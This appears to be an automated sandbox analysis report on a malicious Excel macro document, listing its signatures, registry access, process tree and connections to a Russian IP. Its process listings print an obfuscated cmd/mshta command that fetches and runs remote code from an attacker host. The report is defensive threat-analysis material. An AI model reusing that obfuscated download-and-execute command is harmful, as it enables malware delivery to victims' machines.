Analysis Overview
SHA256
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6
Threat Level: Known bad
The file b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 17:32
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 17:32
Reported
2024-11-11 17:35
Platform
win7-20240903-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1088 wrote to memory of 2244 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1088 wrote to memory of 2244 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1088 wrote to memory of 2244 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1088 wrote to memory of 2244 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2244 wrote to memory of 2624 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2244 wrote to memory of 2624 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2244 wrote to memory of 2624 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2244 wrote to memory of 2624 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe7.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/1088-1-0x000000007207D000-0x0000000072088000-memory.dmp
memory/1088-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1088-2-0x000000007207D000-0x0000000072088000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 17:32
Reported
2024-11-11 17:35
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3288 wrote to memory of 2972 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3288 wrote to memory of 2972 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 2972 wrote to memory of 4848 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 2972 wrote to memory of 4848 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe7.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 174.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
Files
memory/3288-0-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp
memory/3288-1-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp
memory/3288-3-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp
memory/3288-4-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp
memory/3288-5-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-8-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-10-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-9-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-7-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-12-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-11-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp
memory/3288-6-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp
memory/3288-2-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp
memory/3288-13-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-14-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-15-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp
memory/3288-17-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-21-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-22-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-20-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-19-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-18-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-16-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-33-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-34-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp
memory/3288-35-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
memory/3288-39-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 535d2b555fa4664e1ddeebcd6815dfa3 |
| SHA1 | 5fc5761d7ffffad622b08db3f9ff93add66bfa55 |
| SHA256 | a914384355c8dc4f2747b92caf4d0496bf7f3642e358f02c09244fd9b43169c0 |
| SHA512 | 2fe1360e4949bf923133f3571213661ea774270c5085b6f4a2bb716aa818a66e53cf75fe55cf5bd8c5ad777ed65144a1b87bdd7fe532fee2c615383168f36359 |